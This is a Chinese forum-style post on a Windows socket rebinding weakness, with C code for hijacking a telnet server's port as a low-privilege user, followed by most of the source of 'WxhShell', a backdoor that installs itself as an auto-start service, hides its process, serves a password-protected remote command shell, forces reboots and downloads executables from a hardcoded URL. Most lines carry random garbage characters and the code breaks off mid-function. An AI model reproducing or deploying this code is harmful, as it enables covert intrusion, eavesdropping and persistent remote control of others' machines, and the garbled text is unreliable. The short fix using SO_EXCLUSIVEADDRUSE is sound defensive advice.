在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bd`P0f? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H*6W q R-14=|7a- saddr.sin_family = AF_INET;
#;S*V" v^PO|Z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#z42C?V cb bFw bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4!$"ayGv;D zeRyL3fnmb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
m+9#5a- ;a3}~s 这意味着什么?意味着可以进行如下的攻击:
|a@L}m hGrdtsH? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Zd&S@Z ('~LMu_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&Qm@9I s !m$jk2< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tp|d*7^i $Q0n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
31)&vf[[ ]'S^] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6B-16 t,'<gI 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
h];I{crh =M-p/uB] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wY}@'pzX s^SJY{ #include
]^]wP]R_ #include
=H~j,K #include
nFn5v'g #include
N g,j# DWORD WINAPI ClientThread(LPVOID lpParam);
V.Mry`9- int main()
5dg(e3T {
p[cX O= WORD wVersionRequested;
adw2x pj DWORD ret;
.(vwIb8\_ WSADATA wsaData;
{Ha57Wk8D BOOL val;
M3AXe]<eC1 SOCKADDR_IN saddr;
Pc9H0\+Xk SOCKADDR_IN scaddr;
zreU')a int err;
iQ{VY
^
0 SOCKET s;
PW4q~rc=: SOCKET sc;
0$njMnB2l int caddsize;
#;<Y[hR{P HANDLE mt;
gZ5 |UR< DWORD tid;
W9)&!&<o wVersionRequested = MAKEWORD( 2, 2 );
9FX-1,Jx err = WSAStartup( wVersionRequested, &wsaData );
H.0K?N&\?> if ( err != 0 ) {
4\i[m:e=@ printf("error!WSAStartup failed!\n");
f 1d?.) return -1;
/O9EQ Pm( }
KmF]\:sMD saddr.sin_family = AF_INET;
fR|A(u#9 EQ ttoOO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Wjc'*QCPl e# bn# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
g=rbPbu saddr.sin_port = htons(23);
54/=G(F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y)*RV;^ {
H>C=zo,oiC printf("error!socket failed!\n");
-HuA
\0J return -1;
x"~JR\yzKJ }
wS*E(IAl val = TRUE;
Y ay?=Y{ //SO_REUSEADDR选项就是可以实现端口重绑定的
*h|U,T7ew if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A=4OWV? {
/j^ printf("error!setsockopt failed!\n");
n*$ g]G$ return -1;
U6VKMxSJ }
Xeajxcop# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[gB+C84%% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F\!
`/4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{8aTV}Ha2 *](iS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l^qI,M {
~m |BC*) ret=GetLastError();
nrb Ok4Dz printf("error!bind failed!\n");
D]}G.v1 return -1;
{8OCXus3m }
"]dI1 g_ listen(s,2);
AR=]=8 while(1)
kP"9&R`E {
ceV}WN19l caddsize = sizeof(scaddr);
VE24ToI?W" //接受连接请求
8_8l.!~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=Uh$&m if(sc!=INVALID_SOCKET)
xA/D' {
RpF&\x> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hQi2U if(mt==NULL)
KSvE~h[#+ {
ys~x$ printf("Thread Creat Failed!\n");
o@Oqm> ]SS break;
nlYNN/@" }
OCUr{Nh }
0mnw{fE8_ CloseHandle(mt);
]!
dTG }
JO;Uus{? closesocket(s);
w@b)g WSACleanup();
(?c-iKGc return 0;
pGZ8F }
P'2Qen* DWORD WINAPI ClientThread(LPVOID lpParam)
E3i4=!Y {
Zh,71Umz SOCKET ss = (SOCKET)lpParam;
!?XC1xe~R SOCKET sc;
eIlva? unsigned char buf[4096];
FtZ?C@1/ SOCKADDR_IN saddr;
>bxS3FCX long num;
-%~4W? DWORD val;
M{\I8oOg DWORD ret;
q@&6#B //如果是隐藏端口应用的话,可以在此处加一些判断
J1vR5wbu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9FvFhY saddr.sin_family = AF_INET;
g*Phv|kI saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'7/)Ot( saddr.sin_port = htons(23);
B6"0OIDY" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_+,TT['57s {
`gJ(0#ac printf("error!socket failed!\n");
Gq6*SaTk return -1;
TJN4k@\$2 }
y*? Jui Q val = 100;
nEfK53i_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<[v[ci {
q<J~ ~' ret = GetLastError();
nu^436MSOa return -1;
]yu:i-SfP }
G6/m# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>0gW4!7Y {
ebq4g387X ret = GetLastError();
;*N5Y}?j' return -1;
4W])}C % }
>7FHo-H/T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N;d] 14| {
u y+pP!< printf("error!socket connect failed!\n");
!<oe=)Iz| closesocket(sc);
TseGXYH closesocket(ss);
~@!bsLSMU return -1;
I|OoRq }
92c HwWZ! while(1)
%C0Dw\A*: {
B[}6-2<>?C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
D@KlOU{< //如果是嗅探内容的话,可以再此处进行内容分析和记录
B1gR5p 0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
E@\e$?*X num = recv(ss,buf,4096,0);
>sF)BoLc if(num>0)
cS$_\65 send(sc,buf,num,0);
0a7Ppntb@ else if(num==0)
fOHxtHM break;
5N]"~w* num = recv(sc,buf,4096,0);
jylD6IT if(num>0)
UBs4K*h|
send(ss,buf,num,0);
QnDg6m)+ else if(num==0)
i@q&5;%% break;
)_:NLo: }
K@2),(z closesocket(ss);
Fcx&hj1gQ closesocket(sc);
}qUX=s
GG return 0 ;
^pS~Z~[d/ }
jo7\`#(Q jCY%| |:o4w ==========================================================
Pfh mo $ YR70BOxK 下边附上一个代码,,WXhSHELL
>_TZ'FT 6b,V;#Anj ==========================================================
[;N'=]` NlqImM=r, #include "stdafx.h"
>~f]_puT d5b%
W3 #include <stdio.h>
N mG# #include <string.h>
QPx^_jA #include <windows.h>
m'U0'}Ld}; #include <winsock2.h>
N+|d3X! #include <winsvc.h>
m~|40) #include <urlmon.h>
0J|3kY-n> cK@wsA^4 #pragma comment (lib, "Ws2_32.lib")
"4Nt\WQ #pragma comment (lib, "urlmon.lib")
+_!QSU,@ \wZe] G%S #define MAX_USER 100 // 最大客户端连接数
bD^owa #define BUF_SOCK 200 // sock buffer
YUb_y^B^ #define KEY_BUFF 255 // 输入 buffer
RCrCs *a)n62 #define REBOOT 0 // 重启
mv><HqDL1 #define SHUTDOWN 1 // 关机
TC('H[
] #mT"gs #define DEF_PORT 5000 // 监听端口
5-V pJ R_KH"`q #define REG_LEN 16 // 注册表键长度
$qiya[&G4 #define SVC_LEN 80 // NT服务名长度
9sP0D #tHK"20 // 从dll定义API
:s,Z<^5a)g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~u{uZ(~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
SM'|+ d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zA 3_Lx! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
kM6
Qp NbobliC= // wxhshell配置信息
e.> P8C<& struct WSCFG {
#E[0ys1O int ws_port; // 监听端口
W^Yxny char ws_passstr[REG_LEN]; // 口令
(Z*!#}z` int ws_autoins; // 安装标记, 1=yes 0=no
~[ jQ!tz char ws_regname[REG_LEN]; // 注册表键名
|pK!S char ws_svcname[REG_LEN]; // 服务名
H}!r|nG char ws_svcdisp[SVC_LEN]; // 服务显示名
' QG?nu char ws_svcdesc[SVC_LEN]; // 服务描述信息
_t$sgz& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1\Xw3prH
int ws_downexe; // 下载执行标记, 1=yes 0=no
pmM9,6P4@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!1k_PY5) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
F2WKd1U \zY!qpX< };
w
xH7?tsf ~&T~1xsFJ // default Wxhshell configuration
\m,PA'nd/ struct WSCFG wscfg={DEF_PORT,
XX@ZQcN "xuhuanlingzhe",
dG{A~Z z 1,
.>S!ji "Wxhshell",
Ba,`TJ%y "Wxhshell",
eRYK3W "WxhShell Service",
\RiP
"Wrsky Windows CmdShell Service",
_-D{-Bu# "Please Input Your Password: ",
j.Hf/vi`z 1,
+0&/g&a\R "
http://www.wrsky.com/wxhshell.exe",
osRy e3 "Wxhshell.exe"
2T35{Q!=F };
p ?!/+ . vV|hSc // 消息定义模块
8mMQ[#0:} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Uly ue char *msg_ws_prompt="\n\r? for help\n\r#>";
=&]L00u. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^ c<Ve'- char *msg_ws_ext="\n\rExit.";
2HdC |$_+ char *msg_ws_end="\n\rQuit.";
/(cPfZZ char *msg_ws_boot="\n\rReboot...";
8Wx=p#_ char *msg_ws_poff="\n\rShutdown...";
A<{{iBEI` char *msg_ws_down="\n\rSave to ";
UpG~[u)%@ :]KAkhFkbb char *msg_ws_err="\n\rErr!";
L#J1b!D&<6 char *msg_ws_ok="\n\rOK!";
fl(wV.Je| .3;;;K9a~] char ExeFile[MAX_PATH];
paK2xX8E int nUser = 0;
*T/']t HANDLE handles[MAX_USER];
(e~N q int OsIsNt;
X,
n:,' 6'/ #+,d' SERVICE_STATUS serviceStatus;
D^O@'zP=At SERVICE_STATUS_HANDLE hServiceStatusHandle;
y0#2m6u \85i+q:LuA // 函数声明
gJXaPJA{ int Install(void);
}OUt sh ]y int Uninstall(void);
N['.BN int DownloadFile(char *sURL, SOCKET wsh);
tA;}h7/Lc~ int Boot(int flag);
?
k /` void HideProc(void);
@5FQX int GetOsVer(void);
A&VG~r$ int Wxhshell(SOCKET wsl);
KPF1cJ2N void TalkWithClient(void *cs);
w>gYx(8b int CmdShell(SOCKET sock);
xpt:BBo int StartFromService(void);
Sc0w.5m6 int StartWxhshell(LPSTR lpCmdLine);
vzM^$V [WmM6UEVS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ueudRb VOID WINAPI NTServiceHandler( DWORD fdwControl );
h0$iOE &8H'eAA // 数据结构和表定义
l**X^+=$ SERVICE_TABLE_ENTRY DispatchTable[] =
t_^4`dW` {
U6K|fYN` {wscfg.ws_svcname, NTServiceMain},
\D4:Nt# {NULL, NULL}
CTb%(<r };
(zk"~Ud )8AXm // 自我安装
@]j1:PN-
int Install(void)
A"]YM'. {
f#;> g char svExeFile[MAX_PATH];
iTwm3V
P HKEY key;
;pAK_> strcpy(svExeFile,ExeFile);
GOPfXtkC ;p//QJB9 // 如果是win9x系统,修改注册表设为自启动
LoV<:|GTI if(!OsIsNt) {
jp,4h4C^) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K0~rN.C!0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jd:6:Fm RegCloseKey(key);
R&&4y 7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A^g(k5M* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Nb\4 /;# RegCloseKey(key);
F5<Hm_\: return 0;
V0@=^Bls }
LV Ge]lD }
}#fbbtd }
]M=&+c>H~ else {
aN?zmkPpov /:
"1Z]@ // 如果是NT以上系统,安装为系统服务
=bOW~0Z1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)`:UP~)H if (schSCManager!=0)
]Ze1s02( {
\e*]Ls#jS SC_HANDLE schService = CreateService
4x34u}l (
%J(:ADu] schSCManager,
W\3X=@|u) wscfg.ws_svcname,
Y<OFsWYY wscfg.ws_svcdisp,
nlP;nl W SERVICE_ALL_ACCESS,
T)/eeZ$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0J9x9j`&j SERVICE_AUTO_START,
o/E >f_k[ SERVICE_ERROR_NORMAL,
jcOcWB| svExeFile,
1}x%%RD_ NULL,
K?;DMUSY\ NULL,
b6bHTH0 NULL,
(QEG4&9 NULL,
+7Gwg NULL
QRUz`|U );
[0!( xp^ if (schService!=0)
01]f2.5 {
d{?LD?,) CloseServiceHandle(schService);
[txE .7p CloseServiceHandle(schSCManager);
j#|ZP-=1_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vh^VxS strcat(svExeFile,wscfg.ws_svcname);
q9"96({\@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@d'j zs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
e'~3oqSvR RegCloseKey(key);
Q,g\ return 0;
7!1S)dup }
3]Ct6 }
(PLUFT CloseServiceHandle(schSCManager);
m
O_af }
2/?|&[ }
ch]IzdD Q &8-\ return 1;
}jXfb@`K }
J.a]K[ci x2xRBkRg= // 自我卸载
V3Bz
Mw\9r int Uninstall(void)
[agMfn {
_BufO7`. HKEY key;
YK_7ip.a[ 5BIY<B+i if(!OsIsNt) {
U^PgG|0N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dtDFoETz RegDeleteValue(key,wscfg.ws_regname);
/ZX}Nc g RegCloseKey(key);
'1[Ft03 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\bXa&Lq RegDeleteValue(key,wscfg.ws_regname);
=;L|gtH" RegCloseKey(key);
UQsN'r\tS return 0;
\z$= K }
VbYdZCC }
)%TmAaj9d }
6tZI["\ else {
!
nx{
X w0.
u\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
".%k6W<n if (schSCManager!=0)
g)-te+?6 {
5P bW[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PCA4k.,T if (schService!=0)
mFeP9MfJ {
I%):1\) if(DeleteService(schService)!=0) {
:FF=a3/"6 CloseServiceHandle(schService);
?6!LL5a. CloseServiceHandle(schSCManager);
%#+Hl0,Tt return 0;
vN $s|R'@ }
7GGUV CloseServiceHandle(schService);
(Ld i|jL }
BT$_@%ea& CloseServiceHandle(schSCManager);
)J |6 -C }
TeQV?ZQ#} }
xdPx{"C
3 DU^loB+ return 1;
BtZ yn7a }
l (o~-i\M _1^'(5f$ // 从指定url下载文件
u*R_\*j@ int DownloadFile(char *sURL, SOCKET wsh)
c-w)|-ac. {
z:O8Ls^\T HRESULT hr;
pg.%Pdr<$ char seps[]= "/";
]e3Ax(i) char *token;
DG/Pb)%Y
char *file;
okXl8&mi char myURL[MAX_PATH];
9WHddDA char myFILE[MAX_PATH];
HW|IILFB [
~,AfY strcpy(myURL,sURL);
kAx4fE[c token=strtok(myURL,seps);
b>k y while(token!=NULL)
M|-)GvR$J {
N`i/mP file=token;
`oJ [u:b token=strtok(NULL,seps);
2%1hdA< }
pAEx#ck (H]AR8%W GetCurrentDirectory(MAX_PATH,myFILE);
yZ:qU({KhD strcat(myFILE, "\\");
1YA% -~ strcat(myFILE, file);
@HW*09TG send(wsh,myFILE,strlen(myFILE),0);
ESs\O?nO send(wsh,"...",3,0);
:Tc^y%b0
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
iLT}oKF2N; if(hr==S_OK)
'qi}|I return 0;
^Cmyx3O^ else
9Flb|G% return 1;
H]s.=.Ki
)jj0^f1!j }
J,G
lIv.A QJNFA}*> // 系统电源模块
\v{=gK int Boot(int flag)
V~bD)?M {
X]=t> HANDLE hToken;
$e\M_hp*J TOKEN_PRIVILEGES tkp;
`/g
UV [lAp62i5 if(OsIsNt) {
wr4:Go` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
NI5``BwpO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
n%-0V> tkp.PrivilegeCount = 1;
E]6
6]+;0_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Bx!-"e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_@g;8CA if(flag==REBOOT) {
tkhCw/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
YqG7h,F return 0;
]4{H+rw }
-M2yw else {
+(*DT9s+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
iE{&*.q_}> return 0;
_ |p8M!
}
?upM>69{ }
H]!"Zq k else {
598i^z{~0% if(flag==REBOOT) {
Al'3? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Bt#N4m[X*| return 0;
^{{ qV }
\9d$@V else {
u>$t' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"KlwA.7/ return 0;
_ m>b2I? }
"L1Zi.) }
d3Rw!slIq ^.G$Q# y, return 1;
Je@v8{][| }
;=@0'xPEa- -8Xf0_ // win9x进程隐藏模块
+#By*;BJ void HideProc(void)
vy/-wP|1 {
5r_|yu D0Cy^_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
IB<d if ( hKernel != NULL )
t
Pf40`@ {
$cR{o# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
i!cCMh8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
p7Cs.2>M>S FreeLibrary(hKernel);
yNc2@ }
KG@8RtHsQ 8f7>?BUS, return;
|3%8&@ho }
7|D +Ihy; {[(h[MW# // 获取操作系统版本
OTp]Xe/ int GetOsVer(void)
\1`O_DF~o {
:jx4{V OSVERSIONINFO winfo;
AEuG v}# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Y~Ifj,\ GetVersionEx(&winfo);
IAEAhqp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4=.so~9odX return 1;
^&)|sP else
b2]Kx&! return 0;
bfO=;S]b! }
`kr?j:g B:QHwzd // 客户端句柄模块
BD-AI int Wxhshell(SOCKET wsl)
Q^I\cAIB {
nd(S3rct& SOCKET wsh;
,PZ ge struct sockaddr_in client;
BC]?0 U DWORD myID;
x :7IIvP {|\.i while(nUser<MAX_USER)
_wOt39e& {
KF/-wZ"1s int nSize=sizeof(client);
bxWa oWE0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+O5hH8<&b if(wsh==INVALID_SOCKET) return 1;
7Qsgys#/= +>9Q/E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ap~^Ty<> if(handles[nUser]==0)
Ewm9\qmg closesocket(wsh);
GF
WA>5n' else
s79r@])= nUser++;
y?0nI<}}HK }
<1%$Vq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
tu?MY p; MPk5^ua: return 0;
rs.M]8a2{& }
8V(pugJ PVOv[% // 关闭 socket
Vg23!E void CloseIt(SOCKET wsh)
- YV>j {
.mAjfP* closesocket(wsh);
}&e5$lB nUser--;
Z6pUZ[j, ExitThread(0);
B?qjkP }
:L;a:xSpn= "\=U)CJ // 客户端请求句柄
H|D.6^ void TalkWithClient(void *cs)
+"6`q;p3) {
l(q ,<[O nOz.G" SOCKET wsh=(SOCKET)cs;
;6wA" char pwd[SVC_LEN];
qw8Rlws% char cmd[KEY_BUFF];
n(|^SH4$b char chr[1];
%IRi1EmN8 int i,j;
o]:9')5^ \L\b $4$d while (nUser < MAX_USER) {
0RK!/:' LK"69Qx?5q if(wscfg.ws_passstr) {
|I|fMF2K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R$Q.sE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p$>l7?h //ZeroMemory(pwd,KEY_BUFF);
@o6L6Y0Naa i=0;
r9lR|\Ax2U while(i<SVC_LEN) {
]q-Y }1di8 ^H'\"9;7 // 设置超时
p^_yU_ fd_set FdRead;
_? OG1t! struct timeval TimeOut;
JG,%qFlk FD_ZERO(&FdRead);
MWL%
Bz FD_SET(wsh,&FdRead);
9S -9.mvop TimeOut.tv_sec=8;
Q^(b)>?r; TimeOut.tv_usec=0;
Yrn)VV[)h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\15nSB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
,: ->ErP (~en ( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
|W\(kb+ pwd
=chr[0]; `#gie$B{
if(chr[0]==0xd || chr[0]==0xa) { <o= 8FO
pwd=0; veRm2LSP
break; #=v~8
} JLJ;TM'4=
i++; "Yca%:
} @]#1(9P
w-{c.x
// 如果是非法用户,关闭 socket ym6K!i]q4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ujucZ9}yd
} @<Yy{~L|
,{q;;b9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .}`Ix'.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6(e>P)
:\}(&
>
while(1) { 2[;_d;oB @
->{KVPHe{
ZeroMemory(cmd,KEY_BUFF); +H2-ZXr
3Le{\}-$.
// 自动支持客户端 telnet标准 XGMiW0j0B
j=0; IkXx# )
while(j<KEY_BUFF) { {u9}bx'<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D1mfm.9_r^
cmd[j]=chr[0]; 2T TdH)
if(chr[0]==0xa || chr[0]==0xd) { BRYHX.}h\A
cmd[j]=0; ^KE%C;u
break; Rx|;=-8zg
}
*cnNuT
j++; {91nL'-'
} Zsh9>]ML
Pco'l#:
// 下载文件 v 6Vcjm
if(strstr(cmd,"http://")) { v]c6R-U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $lut[o74
if(DownloadFile(cmd,wsh)) n\.V qe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LYg-
.~<I
else HX{`VahE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t!\tF[9e
} XF_pN[}
else { lUiL\~Gq
f>Jr|#k
switch(cmd[0]) { ;xs"j-r/
50C
// 帮助 7fX<511(
case '?': { tlt*fH$.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 13=.H5
break; wsVV$I[2
} @{pLk4E
// 安装 C=4Qlt[`
case 'i': { ,<p}o\6
if(Install()) u4|$bbig
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<bDTeoo
else Iy3GE[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7
^mL_SMj
break; FtC^5{V+V
} AjgF6[B
// 卸载 [=^3n#WW
case 'r': { R+,u^;\
if(Uninstall()) Nl(3Xqov
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 78H'ax9m
else yqiq,=OvP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 vV:EF-
break; +|>kCtZH%
} }k
G9!sf
// 显示 wxhshell 所在路径 we?76t:-
case 'p': { N<KS(@v
y
char svExeFile[MAX_PATH]; O|N{v"o
strcpy(svExeFile,"\n\r"); *~j@*{u
strcat(svExeFile,ExeFile); q,U+qt
send(wsh,svExeFile,strlen(svExeFile),0); f!
.<$ih
break; _aMPa+D=P
} %\Mo-Ow!\
// 重启 6;qy#\}2
case 'b': { r s?R:+
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ktm4 A O
if(Boot(REBOOT)) 0|\$Vp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uwx
E<=z
else { Y0K[Sm>
closesocket(wsh); 1,!(0
5H
ExitThread(0); :+|Z@KB
} [o5Hl^
break; A4<Uu~
} fku<,SV$O4
// 关机 4^OY
C
case 'd': { %lGfAYEM=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p >t#@Eu|
if(Boot(SHUTDOWN)) cXOK)g#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &7wd?)s
else { @\P;W(m.i
closesocket(wsh); 6ez<g
Uf
ExitThread(0); <)-Sj,
} ,47Y9Kz9
break; PJrtMAcKq
} xDoC(
// 获取shell JOLaP@IPT
case 's': { h"lv7;B$
CmdShell(wsh); Ev(>z-{F
closesocket(wsh); 'B0{_RaTb
ExitThread(0); Gvqxi|
break; #!KE\OI;@5
} YgV817OV
// 退出 zXxT%ZcCj
case 'x': { 4l45N6"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6Yxh9*N~]
CloseIt(wsh); YLE!m?
break; '9j="R;
} mh[75(
// 离开 j578)!aJ
case 'q': { {_Rr 6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s^uS1
closesocket(wsh); K]"#C
WSACleanup(); `LE6jp3,
exit(1); //<nr\oP
break; 28J^DMOW
} hP)LY=-2
} u'W8;G*~
} iBgx
"z=SO1
// 提示信息 [>%xd)8.c
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g:dH~>
} &&:YVd
} !~D}/Q;#}\
t*T2Z-!P
return; }m;,Q9:+m^
} i,4>0o?
lun\`f 5Q
// shell模块句柄 M={V|H0
int CmdShell(SOCKET sock) <drODjB
{ 8tFoN*M
STARTUPINFO si; EbE-}>7OO
ZeroMemory(&si,sizeof(si)); MgrLSKLT
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $$5aUI:$~$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c>Xs&_
PROCESS_INFORMATION ProcessInfo; <\ :Yk
char cmdline[]="cmd"; gPsi
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (l-ab2'
return 0; UsQ+`\|
} H'HA+q
q$tUH)0
// 自身启动模式 9"A`sGZ
int StartFromService(void) =~H<Z LE+
{ =4PV;>X
typedef struct ?D*/*Gk{
{ /+;h)3PN6
DWORD ExitStatus; DLMM/WJg@
DWORD PebBaseAddress; uIZ -#q
DWORD AffinityMask; o`P%&
DWORD BasePriority; Y
M\ K%rk
